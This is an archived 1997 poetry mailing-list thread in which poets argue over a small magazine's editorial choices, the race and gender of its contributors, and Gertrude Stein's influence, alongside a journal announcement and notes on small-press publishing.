looked at me blankly. I just assume parity is a basic issue of justice and community. Can I use the word standard?

Thanks Maria for your comments on the Pound/Stein comment.

all yours,
RL

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494. **hg**
hg post-blab
Fri 26 Sep 1997

Maria & Susan are right on about the Pound/Stein "narcissism" tag.

I understand how disagreeable, anti-art & reactionary my previous post sounds to many on the list. What is art & style if not personal interpretation & technique applied to shared reality. For many here experiment is an assertion of, a measure of, what is real. But it seems to me the richest soil for poetry to grow is in a balance - balancing the artist's interpretations & responses to shared experience against the experience of art in and for itself. Not art-for-arts sake or art-for-memory/experience alone (the vets). Both at once. Art for arts sake leads to the hermeticism & solipsism that Honig was decrying. Art for memorializing tough life leads to cliche or politically-approved official art. Doing by halves. - Henry Gould (enough from me today already)

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495. **dbkk**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

Hi everyone it's Kevin Killian. My goodness, I don't think I've posted on this list in about a million years. Nevertheless this interesting thread brought me out of a drug induced stupor.

I have a different perspective than the other posts I've seen, including Dodie's. First of all, Dale Smith's work both as poet and editor is (tho' I haven't seen the new issue of "Mike and Dale's Younger Poets") usually first-rate and always provocative. There's no getting around that despite his method. Secondly, it's great to see a magazine with a strong editorial policy, so many magazines come out, you read them or look at them, zzzzzz . . . . However Dale once you expound an editorial philosophy that flies in the face of the orthodoxy of political correctness, you must expect or perhaps enjoy the ensuing controversy. Didn't the same thing happen to the editors of "Apex of the M"?

Third, the thing I don't understand is, (I mean, the thing I don't empathize with, is) that an editor always publishes things he or she LIKES, what's the deal with that? I don't buy into that, but then I'm here in California and have the flat affectless I am a camera George Kuchar type of mind-set. Anyone who's read any of the issues of "Mirage #4/Period[ical]" will know what I mean, that it's not about "fashion" in the way Dale says but it's about what drifts in front of our bleary screen; it's more of a diary I suppose, a document of my life and Dodie's and what happens from week to week in our (cultural) lives . . . I think most magazines actually operate that way however editors are always claiming, I don't know to what degree truly, that this is actually work they "like." Many poets send out their work all the time and it crosses the viewfinder of editor X or Y's rifle and bang. And most of these poets (the ones who send out their work all the time) are indeed, say, 90 per cent of them, men. Any editor will agree with that I think.

Fourthly, I don't believe that all these editors, etc., are constantly pursuing Hoa Nguyen for her work solely because she is a "woman of color". If her work wasn't very, very fine she would not be in the demand you describe. Of course it's an interesting question. Most sensible people occasionally wonder about the value of their own work so I don't blame Hoa for her doubts.

Fifthly, re: the preponderance of "straight white males" among the contributors of the new issue of "Mike and Dale's Younger Poets" . . . I don't know if they are all white or not but they certainly are not uniformly "straight" . . . Check it out, I did.

Sixthly I respect Dale's actually tireless commitment to the older poets he admires (Clark, Dorn, Kyger, Whalen, etc.), a beautiful thing to see; likewise his attempts, no matter how tortuous, to find a link between their writing and history with those of the younger poets, his peers.

Seventh, I disagree, as will many others on the list, with the idea that Gertrude Stein's poetics were deplorable or stemmed from "self narcissism." "Condoned" is too strong a word to use in this context.

Well, there I've gone on and on about this, but forgive me, all, the issues tempted me into speaking out a bit. I just thought of a few anecdotes to finish with, and one is, what is the name of that magazine that used to come to my door every month or so, edited by that man (Ellis?) who moved to Jerusalem or somewhere? I'll forget my own name next, but the magazine featured one or two poets in every issue, and after a while you just couldn't help noticing that every one of them was a man. This went on and on for years. I'd rip open the envelope and pull out the thing, and yes, there were another couple of men blathering about this that and the other . . . It became amusing in this awful way.

Someone help me out here with the name of the magazine, I'm sure many of you were in it.

The other one I remember was "Hole," this one issue came and sure enough, there was one woman in it, and she (Karen McCormack?) was only in it because the compositors had butchered her poem enough in a previous issue so that the editors had to print it again in this one. I'm sure Louis Cabri took a lot of heat for that on both counts.

God bless you all for your work. XXX
Kevin (Killian)

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496. **robert drake**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

---

request to the list: wondering if anybody might point to
examples of other mags that might serve as models for dale&co's
efforts: ie, NYschool/Naropa/Pound nexus aesthetics, w/ a
wider demographic contributor base?

& if such doesnt come to mind, praps the real critique being made is of that aesthetic, rather than this particular mag?

asever
luigi

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497. **Hoa Nguyen**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

---

h. steinburg in response to dale:
>Dale: Not to sound condescending, but you need to make more friends.
Or
>to spin it another way, all you have to do is ask. If you get bad
Gertrude
>Stein imitations, be an editor and demand better (which is your
perogative
>as an editor, not because you happen to be white or male).
>
>I side with Dodie on this one.
>

>Hugh Steinberg
>

This advice reminds me of two things. One is a Sienfeld episode where George invites an African American man to dinner to impress his boss (a man of color). It also reminds me of work and m. damon's reference to the "old boy's network" -- which I experience as the "old white network"-- I work for a consulting firm. Our small group has a balance gender mix and is all European American/white. In a meeting yesterday, when discussing new hires, the partner (male) says "We need more minorities!"

Having opportunities -- whether in the workplace or in getting published-- is, well, great, for me. (I sometimes question whether it is transformative-- economics still rule opportunities -- personally, I feel like the kind of teaching I was lucky to do-- with inner city youth-- created opportunities for diverse people and economically depressed persons more than my getting printed in a magazine did.)

It is very frustrating to feel "collected" like a stuffed bird with exotic feathers. Some of my friends of color dislike making friends with or participating in events with white people because as one friend said, "I don't feel like diversifying their (group)". Mr. Steinberg's suggestion feels like that.

I have struggled with this very much, and as Dale mentioned, we talk about this matter constantly. We live with it. And I appreciate our discussions-- and our discussions here on the list-- what is the responsibility one has as an editor?

Also related: Henry Gould spoke of "old idols"-- I sometimes feel as if aestethics are meaningless and that editors often include the "big" names regardless of what they actually are writing.

And finally, I am so tired of the reference to "sides"-- in so binary, limiting and inaccurate to the complexities of matters at hand! I am not on a side, I refuse sides, which side, what is a side, who defines the sides?

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498. **dbkk**

Re: The Name & the Paradox of its Contents

Fri 26 Sep 1997

At 8:36 AM -0500 9/26/97, Maria Damon wrote:

> *i second that emotion; and i also, personally, wince at playing stein off against pound in a way that casts stein as the narcissist, the errant one,*

> *the one with the "problem." to my mind, this is a gendered and politicized determination as much as it is an aesthetic one --i.e. women are often accused of narcissism, self-indulgence, etc and that judgment is used to keep them from access to the renown and respect enjoyed by their male peers. dale, i wonder if it'd be fair to say that your aesthetic sense may itself be the product of conditioning in an unjust society?*

Well said, Maria--but this has already been said SO OFTEN . . . in the 70s over and over and then we can swirl our heads around and look back to Virginia Woolf. It's disheartening that you would STILL have to be saying it in the 90s, almost the milleniumn. Misogyny is indeed a vile weed that one has to continually take a sickle to. However, when Dale wrote:

> *Most*
> *writers outside of my small camp follow a deplorable tradition of poetics established by Gertrude Stein's self narcissim.*

I believe that he was not just talking about women's writing in particular. I think this is a veiled reference to Language Writing, that Dale is carrying on his mentor Tom Clark's 20+ year vendenta against it. Forgive me if my interpretation is off--the passage is very vague, I wonder if not purposely so. Dale is quite specific in the women he condemns--that broad highly diverse group who have been published in Chain. Even though Chain also prints men, we all know it's basically a women's magazine, I mean, it may as well be Better Homes and Gardens. But these Gertrude Stein followers, who seem to be many gendered remain vague, veiled--I wonder if that isn't because there is a predominance of men involved (i.e., powerful beings to be taken seriously)--and therefore there would me a greater degree of risk involved in openly critiquing them.

I can sympathize with Tom Clark's hatred of Language Writers. I was living in San Francisco when the Lang-Pos took over the scene--it was brutal and many people were treated very badly. But, Dale, what has anybody done to you that you would call whatever work you have in mind "deplorable." We all have our likes and dislikes, but this violence of emotion is very troubling and dangerous, I feel--especially when nobody is fighting with you.

I'm also curious as to how you, Dale, define self-narcissism. Is there a narcissism that isn't "self" narcississm? The last time I heard you read there was lots of "I" poetry lovingly detailing your visits and conversations with your friends. How is that not narcissism? I should add that this is not a critique. I'm very interested in narcissism.

One more thing: from what I've seen, most writers outside of your small camp follow a deplorable tradition of academic poetry and spoken word poetry. This fish bowl of "exploratory" writing (as Steve McCaffery calls it) is very tiny. It is not the whole world.

Dodie

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499. Jordan Davis
The silence of the list
Fri 26 Sep 1997

Still smarting from Luigi's description of list silence as marking an uninformed or naive post -- well after my first few posts here I've met a great calm -- it is, what, us? True, hurt and silence go hand in hand -- but there is also the vygotskian idea that silence is (or can be) a zone of proximal development? that you don't make a noise while you're jumping -- you give off light -- this over and against the taoist 'who knows does not speak' stereolab likes to sing -- since what we're speaking about is sort of singing? If not beauty, then justice? If not justice then life itself? If not life then the codes? If not the codes then the hollow words -- bells are hollow. Cells are hollow. The dells are all et cetera they say but you walk there and if you can afford it you've had a variation in your experience. Meaning apparently is in variation, and in variation from variation (chant, Bach, aleph, deal). And so the companies are run with an eye to the pe ratio -- but the consolidations and the writeoffs ought to lead to a recession? Park smells like rats. So that "I cannot make it cohere" leads to "I will not connect the dots" but then no one does and Plato blames writing. Poets, specifically. Money, says Frank Kermode, says John Buchan says Wallace Stevens, is a kind of poetry. But "I cannot make it" was Ez about money. While Stein wrote sensitively, narcissistically (!) about it. You may not pool your money to hire a teacher to keep the opposition from being accurate when they say classes are held in bathrooms. You may not blame Robert Moses. Names will not do. Only learning, which is singing. And money. Other divisions are ways to make people forgetful about learning-singing and money. Forget money. Art did, and look where that got it. So Gates makes up a third of what the government says it won't give Cambridge, and this just after Rodefer gets to the states. And everybody is happily global because the brown decades are just that. So that's what it's like to walk to work -- Jordan

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500. Jordan Davis
The Paradox and the Name of its Disco Tents
Fri 26 Sep 1997

The World. Hanging Loose. Misc. Proj. No Trees.. Also, I'd say the Language school is a metamorphosis of NY/Pound so I'd include exactly the magazines

Dale is distancing himself from in the vapor trail of that nexus. As always, the "real critique" is elsewhere. - J

At 11:03 AM -0400 9/26/97, robert drake wrote:
>request to the list: wondering if anybody might point to
>examples of other mags that might serve as models for dale&co's
>efforts: ie, NYschool/Naropa/Pound nexus aesthetics, w/ a
>wider demographic contributor base?
>
>& if such doesnt come to mind, praps the real critique being
>made is of that aesthetic, rather than this particular mag?
>
>asever
>luigi

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501. **Dale Smith**

Re: The Name & the Paradox of its Contents

Fri 26 Sep 1997

Dodie:

It's not surprising you want to label me a misogynist. We've been over that ground before. Or wasn't it homophobe you called me before? Or racist? This kind of address is an unimaginative form of name calling that closes discussion and reduces provoking and beneficial discourse. Call me what you want, these issues remain. And they are very touchy. But they won't go away because they are impossible to ignore with such attempts at closure.

I'd prefer also if you would leave Tom out of this. This discussion, while perhaps in his spirit, has nothing whatsoever to do with him. Hey, I'm a big boy misogynist now on my own. If you want, I can backchannel my credentials. In addition, Tom has all but given up poetry and I haven't spoken with him in months.

Re: Language Poetry. That's a fairly restricted group of poets, to my mind. And I don't agree particularly with some of their methodology, although, at various times, I have found their art to be quite compelling. I think those people were responding to specific political and aesthetic pressures resticted to their own historical milieu. What's followed, however, are watered down, thoughtless attempts to imitate Language methods and forms by younger writers. The results are not very interesting from my point of view. And that is all it is. My own small point of view. But I'm glad my opinions are challenged because it makes me think.

Otherwise, I find it perfectly admirable that you challenge me so openly and publicly. But it's beginning to be more like a personal vendetta on your part rather than a discussion of issues: race, gender, aesthetics. Why don't you send your bull dog barks backchannel without boring other folks. Well, gossipy personal affairs are fun, but still. Perhaps some Grace?

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502. Douglas Barbour

*Re: _Boxkite_*

Fri 26 Sep 1997

Hey, let me tell you about:

BoxKite: A journal of poetry & poetics

This is a stunning new journal (it almost seems silly to call it that: at 320 pages, with a beautiful cover by Jess, wonderful layout & typography throughout, including a section on an artist Idris Murphy's work, & all that writing, it's a BOOK, & a beauty) with many contributions from listmembers among others.

Oh by the way, it's from Australia, another big international poetry zine to stand with John Kinsella's _SALT_, making me wonder just what's happening down under these days.

Editor James Taylor has gathered poems, essays, & reviews by an astounding group of writers & mixed them up for a great read. I cant take the hours to name them all, but:

Rachel Blau DuPlessis, Armand Schwerner, Ronald Johnson, Robert Duncan (from his notebooks), Robert Creeley, Norma Cole, Robert Kelly, Susan Howe, Lyn Hejinian, Rae Armantrout, Michael Palmer, Charles Bernstein, Rosemarie Waldrop, Hank Lazer, Susan Schultz, Pierre Joris, Chris Cheek, Charles Alexander, etc.; Robert Adamson, John Kinsella, Kris Hemensley, Tracy Ryan, & others from Oz; many translations, including new Brazilian poets; Tom Raworth, Peter Middleton, Tom Leonard. So many more.

Ive been reading my way through with great delight for a few days now. Strange to admit, here on e-mail, perhaps, but I remain a dedicated bibliophile & _Boxkite_ is the answer to a bibliophile's dreams, it's just such a *Book*.

You can order it ($20AU for a subscription + $5. postage) from The Poetics Foundation, GPO Box 1500, Sydney, NSW 2001, Australia. Fax: (042) 94 3264. Or e-mail editor James Taylor at <[redacted]> & ask for more information.

And hey, The Poetics Foundation accepts VISA & Mastercard, which makes ordering easy.

(Oh, well yes, I do have an essay therein too, but dont let that stop you, this is a major addition to the journal scene & deserves our support.)

Gotts go read some more....

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

CD-Rom (for more info e-mail: [redacted]). The post-1945 American Poetry section, which will include the two sections mentioned above, is being co-edited by Geoffrey Ward and Charles Bernstein.

Thanks,

Steve Evans
[redacted]

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504. **Mark Prejsnar**
Re: The Paradox and the Name of its Disco Tents
Fri 26 Sep 1997

Thanx to Jordan for his mention of Misc. Proj...

I would definitely add to his list: TinFish

Mark Prejsnar
Atlanta

On Fri, 26 Sep 1997, Jordan Davis wrote:

> *The World. Hanging Loose. Misc. Proj. No Trees.. Also, I'd say the Language school is a metamorphosis of NY/Pound so I'd include exactly the magazines Dale is distancing himself from in the vapor trail of that nexus. As always, the "real critique" is elsewhere. - J*
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> *& if such doesnt come to mind, praps the real critique being made is of that aesthetic, rather than this particular mag?*
>
> *asever*
> *luigi*

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505. **Maria Damon**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

---

this is all very stimulating, because, as dodie points out, while the relationship between aesthetic judgment and the social conditions that give rise to it has

been discussed to death elsewhere, to the point where it really can be a tiresome cliche, the general tenor of POETICS (not everyone all the time, clearly) is notably either silent on or hostile to challenges to "aesthetics" as the bottom line. i.e. my questions a few weeks ago: why does the avant-g police its borders so vigilantly and why is aesthetic consensus the bottom line? lots of people responded to the first question and virtually no one to the second. hence my comment also that the blurb for m davidson's book (md argues that the aesthetics of modernism went hand in hand w/ certain historical developments of the 20th c that determined "how we read" or some such) is hardly a novel argument, but refreshing to hear here. i have nothing against people publishing their friends, exercising strong editorial control, etc., and i have nothing against dale smith or his poetry or his new magazine. it's the defensive appeal to an aesthetic presumed to be objective and universal, and , worse, has moral overtones (i.e. stein is a "deplorable" influence because her writing is morally flawed) that the problem arises. i'm also taken with kevin's point that publishing what one likes is a worthy policy to challenge. one thing that struck me about the zines he writes about in his bio of spicer is how *little* editorial control, or issues of "quality" determined what got published and what didn't. there was a sense of inclusiveness that seems to me to be just fine, and actually pretty inspiring. not that every mag shd be broadly inclusive; but let's not write off the ones that are, or the spirit they embody, as failing to police the borders of good writing.

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506. **Eliza McGrand**

Re: The Name & the Paradox of its Contents

Fri 26 Sep 1997

---

why is it that when the issues are primarily male-identified issues like war, rebellion against father, etc., the poetry is described as "poetry of real, historical-personal experience, of people who have 'been there' in fact or authentic imagination"... but when it is about FEMALE experience, i.e. betrayal, abuse, being a nurse or civilian administrator in war, being a non-combattant caught up in war, it is " abstract, inhuman, solipsistic, hermetic," i.e. writing men "don't understand" and as such, devalued...

sigh. i for one found the writing of Lady Borton on vietnam and vietnam war some of the most gripping "vet" writing i've ever read.
e

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507. **henry**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

On Fri, 26 Sep 1997 14:13:21 -0400 Eliza McGrand said:
>why is it that when the issues are primarily male-identified issues like war,
>rebellion against father, etc., the poetry is described as "poetry of real,
>historical-personal experience, of people who have 'been there' in fact or
>authentic imagination"... but when it is about FEMALE experience, i.e.
>betrayal, abuse, being a nurse or civilian administrator in war, being
>a non-combattant caught up in war, it is " abstract, inhuman, solipsistic,
>hermetic," i.e. writing men "don't understand" and as such, devalued...
>sigh. i for one found the writing of Lady Borton on vietnam and vietnam war
>some of the most gripping "vet" writing i've ever read.

Elliza, are you speaking in general or reading things into what I said about the meeting at which Honig spoke? The steroetyping you describe goes on a lot and the issue was brought up, indirectly at least, by a couple of people (including me) at the meeting described - ie. Honig was reminded that "life's battles" are ongoing & all over the place. But neither Honig at the meeting or me in my post called women's experience, wartime or otherwise, abstract, inhuman, etc. Although one person there, who had discussed these matters with EH beforehand, said he (EH) had been trying to understand Jorie Graham's work & having a hard time - he was thinking of her work as representative of an "abstract" trend.

In any case, you can read misogyny into this if you want. Honig's main issue was that poetry loses something by not making the effort to bring over lived experience - especially the apocalyptic historical experiences of this century - in an attempt to represent SHARED experience. HIS position. "Bringing it over" is never simple though, considering the blinders we put on or learn. - Henry Gould

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508. **Joe Amato/Kass Fleisher**
Re: name, paradox, &c.
Fri 26 Sep 1997

---

ok, just recovering from a badass cold, and something tells me to leave this one alone... seems there's just so much contentiousness in the air of late... but ok, i'll bite:

first: you can avoid publishing one aesthetic camp by choosing your friends NOT on the basis of their aesthetic... and then publishing your friends! (not your aesthetic)...

(((of course this is tough to do sometimes, if you *really* don't like a friend's work)))

what your publishing commitment then might amount to, i'm not sure---depends on your friends, which depends on you!... and hey---i use the term "friends" here advisedly, and most selectively...

secondly: on the one hand, and to be a bit extreme about it, one would be wise not to assume that publishing an african-american poet will result in poetry marked, say, by black dialect... which means, one would be wise not to assume that a commitment to publishing one aesthetic will necessarily result in a specific gender/race/class etc (though it very well may, and often does)... if you oppose the simplicities of identity politics, then you owe it to yourself to oppose aesthetic assumptions pertaining thereto... and turning it the other way some, with a due eye for appropriation, and just a tad figuratively---white guys can play the blues, yes, conventional and otherwise...

on the other hand, one would be wise not to assume that the gender/race/class of one's friends is an arbitrary reality... which is to say, that if you find yourself hanging out mostly with white folks and are white (like me, sadly), you can bet your sweet ass that this has *something* to do with (our) social-institutional-political structures (and of course, with your own convictions and abilities and motivations and and and)... and if you're committed, as susan has suggested, to challenging as a publisher/editor in any wayshapeorform something called the status quo, why then you ought at least *as a publisher/editor* to consider what you can contribute in the way of challenging these structures (which have clearly been internalized by all of us, to varying degrees)... perhaps, yes, you can challenge said structures through the writings of a specific dominant group, but i would argue that history offers an alternative, more complicated view of this matter (and i predicate here a belief in a dominant group, or groups)...

and hey, actually, publishing, say, the work of people of color---people of color who are and who are not mainstream writers---is far easier than creating a network of friends and acquaintances that reaches across the color line (assuming this latter is not already a part of your experience)... it may even be a way for one to begin to establish working relationships with people of color...

(((and "people of color" out t/here, please please forgive me this apparent objectification, and this apparent urgency to "reach you" in this post)))

if on the other hand you are not opposed to the status quo in any wayshapeorform when it comes to your publishing/editing self, and wish simply to contribute an aesthetic product to a peopled world that some people find relatively fucked, why then you run the risk of offering up something that some people won't really give a hoot about, b/c your gesture will likely be seen as somewhat beside the point (by some people)... even if you oppose the status quo and yet

presume to do so through the selective work of selected dominant groups, the result is likely to be the same...

which, i suppose, is always a risk, in any case... which, i suppose, is ok too, but doesn't exactly light *my* fire, motivationally *or* aesthetically speaking...

best,

joe

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509. William Burmeister Prod
Re: Bibliography Help?
Fri 26 Sep 1997

> *Dear Listmembers:*
>
> *For an annotated bibliography I'll be compiling over the next few months I would be interested in hearing (backchannel) from those of you who have published essays, articles, chapters, interviews, substantial reviews, or whole books on:*
>
> *(a) Younger poets (loose rule of thumb: first books after 1985) working in the "New American" (read: avant-garde, experimental, formally radical) tradition*
>
> *and/or*
>
> *(b) language writing*

Hit that wonderful archive (and the rest for that matter) in the EPC (Electronic Poetry Center) at: http://writing.upenn.edu/epc. Bring your lunch with you.

BB

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510. David Bromige
picking up sides (name-paradox thread)
Fri 26 Sep 1997

Listopolitans, I welcome the many sensitive & various postings on this topic, & even though I may be seen to have kicked it off inadvertently if not drunkenly, I may be permitted a further & more sober posting on a couple of its aspects.

Hoa Nguyen, I echo yr question & yr defiance re sides, & not wanting to be on one. But one thing I hear in the echo, one thing I answer myself, is that the sides are picked for us, & will never be entirely transcended, not until (in only part as a result of our individual eforts) society undergoes its slow mutations....It's like that Yeats' line, "They'll never love you for yourself/ and not yr yellow hair". I when younger "didnt know there was a side" that I was

on...that was Fat City. Later, by the time it was pointed out to me, my City was growing Leaner. Now I am A Straight White Protestant Male, subject to quota-stringencies (in the matter of arts grants, for e.g.), & probably further categorized as LangPo FellowTraveler. It doesnt matter that I was bi for years in my youth, that the california sun makes me look Bengali, or that I am atheist pantheist zen marxist anarchist, or that most of my confidantes have been women & gay men, or that (in my opinion, granted) my poetry doesnt overlap much with anyone's. And even though I am now enjoying minority status as an Old Fart, I know the injustice you speak of, if only faintly compared to yours; it still smarts. And it is unlikely in my case & and that of other SWM's, that we will be invited to help diversify someone's group, leastwise here in America. I get discriminated against for my yellow (well, i do dwell in the past) hair, but not loved for it. But of course, there is a cultural/language usage base that continues to give me advantages in a society that is still tipped somewhat the same way. I reach for my Yeats when needing a hit.

Excuse the lengthy background to my cry of sympathy! I want what I write to be *poetry* to others, not an instance of cultural diversity/monotony. I dont want to be the writer of it, do you know what i mean? Because *I* can be pegged. I want *the reader* to recognize herself as the author of it. Impossible, impossible. I hope it isnt published because of my lengthy history of smallpress publishing, because someone likes me (god forbid!), or because for 3 years I attended Haberdashers' Aske's Hampstead (huh? where?)....Any more than a person of the theater wants to have gotten the part because good at blowjobs. *On its merits*--thats what one wants. But there'll never be a neutral jury. So dont Dale & co-editor have the right to go on representing in their own ways a bent twisted society (v. maria Damon's post) even while others who "know better" (despite being members of the same bent, twisted society) have the right to attack, chide, or try persuade them otherwise about their policies? "Younger Poets" is one zine among hundreds (v. Spencer Selby's great list), & is not likely to get much help grantwise in the present climate. Isnt it *human* (trans-cultural) to be let go to hell by one's own route, even if it is equally *human* to try to save people from so doing ? I realize this can sound like wishy-washy liberalism, but I am arguing for other perceptions re this (lack of) position. This thread is a worthwhile argument that cannot resolve, is one thing I post to point out.

And at base I am arguing for the purity of the work of art, a purity it may well require a lifetime's education to recognize or realize, a radiance that will forever suffer interference from the many-colored glass of the multi-cultural class-war-ridden dome. I think I am arguing for what Barrett Watten once summed up when he said : "I want my words to be my own." Bad History is the anatagonist in this endeavor. I think we need to acknowledge both, the ideal and its enemy. They do form a symmetry. I want my words to be my own/I want my poem

to be exempt from its association with me : these, to my mind, are two facets of one figure. As my own, New, bringing news for us; as my own, tainted with Bad History, that made me one of us.

Hoa, much in this post is only marginally relevant to yours, & for that I apologize. But I thank you for the words that sparked my impulse to compose this, even if I come shortly to regret having done so. --Will i be wiser later? Then why bother to live! David

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511. **dbkk**

Re: The Name & the Paradox of its Contents

Fri 26 Sep 1997

At 9:53 AM -0700 9/26/97, Dale Smith wrote:

> *It's not surprising you want to label me a misogynist.*

Dale I didn't call you a misogynist. My reply was to Maria's post about a general cultural trend that's gone on since the beginning of time. My exact line was: "Misogyny is indeed a vile weed that one has to continually take a sickle to." This line was intentionally overblown to be humorous. I then went on to say that I felt your reference to Stein was NOT about misgyny but something broader.

> *Otherwise, I find it perfectly admirable that you challenge me so openly and publicly. But it's beginning to be more like a personal vendetta on your part rather than a discussion of issues: race, gender, aesthetics. Why don't you send your bull dog barks backchannel without boring other folks. Well, gossipy personal affairs are fun, but still. Perhaps some*

Perhaps I'm missing something here, Dale, but I see no reason why I'd have a personal vendetta against you. So, let me make this clear, I, Dodie Bellamy, do not have a personal vendetta against Dale Smith. You posted an incendiary post and I was responding. Remember, the women who do Chain are *my* friends. Though I'm sure they really don't need my defense, they're doing such wonderful, important work. Again, this emotional combustability on your part, I feel, is very dangerous. Emotional zeal often is kissing cousins with dehumanization of the Other. I did discuss issues in my last post, but since I used a manner that's different than from yours I'm accused of being gossipy with bulldogs--i.e., not to be taken seriously. Let me quote Maria on this issue:

> *women are often*
> *accused of narcissism, self-indulgence, etc and that judgment is used to keep them from access to the renown and respect enjoyed by their male peers. dale, i wonder if it'd be fair to say that your aesthetic sense may itself be the product of conditioning in an unjust society?*

Dodie

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512. Aldon Nielsen
a little grace?
Fri 26 Sep 1997

---

well . . . (and excuse me,,,, I've just gotten itno town and read all these posts at one go) --

I suppoase it's one thing to create a mag. for the express purpose of publishing poetry working in one set of aesthetic assumptions -- and I suppose it's another thing to set up a mag. in which you publish mostly "friends" --

but, in defense of those seemingly OK acts, to remark that few "minority" poets write in innovative/experimental/blackmtn/nyschool whatever modes -- while at the same time giving every indication of never having really bothered to find out if such is in fact the case -- that is far more than simply being provocative --

yes, please, grace to read as variously as possible

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513. William Burmeister Prod
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

Don't shoot until you see the whites of their eyes.

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514. Maria Damon
Re: picking up sides (name-paradox thread)
Fri 26 Sep 1997

---

i like much of what bromige sez: sides have been picked for us and in some ways we're capitulating to the powers that be by biting the bait that sez: "low-brow pc multicultural bootlicking fascists over here -- true poets and lovers of the muse over there." or "there's only a *few* 'decent' experimental poets of color out there..." it's like the arguments against affirmative action that i hear from my older colleagues and some of the younger ones, a specious representation v quality mindset.

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515. **Dale Smith**

Sacred Cows

Fri 26 Sep 1997

All right. Briefly, sans the modernist manifesto lingo. And so I can be taken out of context once again. M&D is open to anyone regardless of race, sex, gender or religion. It's open to anything that strikes our fancy. I try to keep the thing as inclusive as possible. I do prefer certain poems over others. I respect those who publish what they don't like. But if I don't have an emotional attachment to what I publish, it's not going to appear in my magazine. For me, emotion is not "dangerous," as Dodie suggests, nor does it promote the "dehumanization of the Other." Rather, emotion promotes a sympathetic response to others. Without that dramatic connection, language loses some of its power to communicate. A poetics that appeals to the mind only falls apart under the weight of its own logic, its own pitifully misguided propositions. The mind, after all, likes control. It digs that kind of power. Emotions fight against that urge for control in the very tissues of our being. Language, when it's executed well, is formed from an emotional impulse that is, hopefully, guided by the mind toward a clear directon of some kind. My missives of late have been a bit heavy, which is in part, I think, a reaction to the mostly bland language posted in this electronic format. Forgive my indelicacies. And buy M&D's.

Re: Stein. That's what really seems to be upsetting to certain people on the list. Well, I dismiss her work, not because she is a woman, but because I find it unbearable to read. So many posts have been profoundly condescending and I appreciate your efforts to set me straight, so to say. But Stein, who is adored by many, including Phil Whalen and Alice Notely, both of whom I deeply admire, provides a kind of model for a poetics that I find misleading, presumptive, and ultimately useless because she takes you nowhere. You gain nothing by reading her.

I picked on Chain, although it is a journal composed mainly of women, because I find the work distant, cold, and removed from emotional possibilities. I have no sympathy for its poetics nor do I read any sympathetic writing between its covers. It is over long, incredibly laden with awkward verse void of music and heavy on a tired methodology that, rather than confronting the idea of the Father, as those editors have suggested, merely ignore that figure, and pretend it does not exist. It's great to take a stand on something. But you need feet to stand on and Chain's poetics have not even a leg.

But again, as I've stressed. These are my opinions and I assumed they would be ignored. Luckily, there are many who feel the necessity of confronting the ills of the world. And, I suppose, not feeling any sympathy for Stein and expressing such, is dangerous business these days. Or maybe, probably, I am being overly

dramatic, and all of this will convert back into the dark zone of forgetfulness within a day or so.

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516. **mark weiss**

Names, Paradoxes, etc.

Fri 26 Sep 1997

It's interesting that several white male contributors to this thread have admitted having trepidations about getting involved. I think that's a shame and admit to having trepidations of my own. Feels a little like peering over the rim of the foxhole.

Despite the best will in the world accidents have a lot to do with what one chooses to publish, and I don't mean the large accidents of birth, class and education. Unfamiliar poetry, it should surprise no one, often takes an effort to get into, and one is flooded with new poets all the time. Somehow a particular body of work gets one's attention.

Case in point: the first book that Junction Press published is Susie Mee's _The Undertaker's Daughter_. Susie and I had been friends for a few years and had got into the habit of working over each other's stuff. So I got to know these poems that I might in other circumstances have passed over with hardly a glance, because they are more conservative technically than what I usually find useful--I had, for reasons having nothing to do with the press (it didn't exist yet), spent a lot of time with them. And they're very good and more than weird enough to meet my needs (in case anyone's curious, Susie's father was the undertaker in Howard Finster's home town--Howard's portrait of her father adorns the cover).

Mervyn Taylor is another example. I was going out with a woman who worked part-time at a school where Mervyn taught. She sponsored a reading by the students and faculty, and I went along for the ride. The stuff bowled me over, and I'm now waiting for yet another book manuscript from him. I wasn't looking for a black poet--I wasn't looking for anything beyond being courteous to the woman that I saw very briefly--and Mervyn was not one of my friends or in my circle, although he is now both.

These books came to me by means of what I'll call accidents of attention. They were chosen, like the others, because I found them useful. "Useful" is usually what a writer means when he or she says that he or she likes another writer's work--useful for one's work or one's spiritual development (for writers usually the same thing) or for the expansion of one's taste at that juncture.

It happens through no conscious fault of my own that the press (like the magazine I did in the 70's and the several series' that I've run) thus far is diverse enough to be considered politically correct--not including my own book, three are by women (of two different religions), one of whom is hispanic, altho not US hispanic, one is by a black man, the others by white males. But this is purely fortuitous. The other books came to me because I asked for them from friends or because they were recommended to me by friends--they had commanded more than ordinary attention for reasons other than the poems themselves. The diversity is, I think, a matter of the size and diversity of the market (the agora) I hung out in. Had I been in Boise instead of New York matters might have been different.

It's not that I make no efforts. I have approached poets, as I did Mervyn, who were not part of my extended circle. Thus far most of the poets I've found useful, in whatever circles they travel, already have publishers and are not available to Junction. That's another kind of accident. And I've asked for manuscripts from poets who impressed me at readings but whose work didn't make it for me independent of their presence.

Junction's next four books are by men. One is hispanic, and Mervyn's second means one is by a black man, although that still leaves me with just the one person of color. That will bring me to 11 books--at what point will I be exposed to charges that I discriminate against Asians? I'm certainly aware that that's a possibility, but the standard won't change. Throw as wide a net as I might it won't bring in every fish, and of those I catch I'll still only choose the ones I find most useful (I'm aware of how smelly that last metaphor is).

It's entirely possible that Junction's next four books will be by Asian women, but I'll be able to live with it if they're not.

In my magazine I once published a poem that I'd liked when I heard it read by the poet. In the wee hours when I was typesetting it I was overcome with nausea--given more scrutiny the depth of the poem's dishonesty came home to me. But I was stuck--the piece was accepted. It happens that it was by someone I knew well. I take my publishing very seriously--each book is my product as well as the poets--so I've tried real hard to make sure that that never happens again, although the poem in question got a lot of praise from the magazine's readers.

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517. **Aldon Nielsen**
Re: Sacred Ruminants
Fri 26 Sep 1997

now this is really disingenuous --

Who was it in this exchange who posited it as a question of publishing "minority" or women poets VS publishing poetry "I" like??

Why would anyone think that they would have to publish poetry they didn't like in order to publish poets who are not white men?

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518. Rachel Levitsky
Re: innovative poetry audiences
Fri 26 Sep 1997

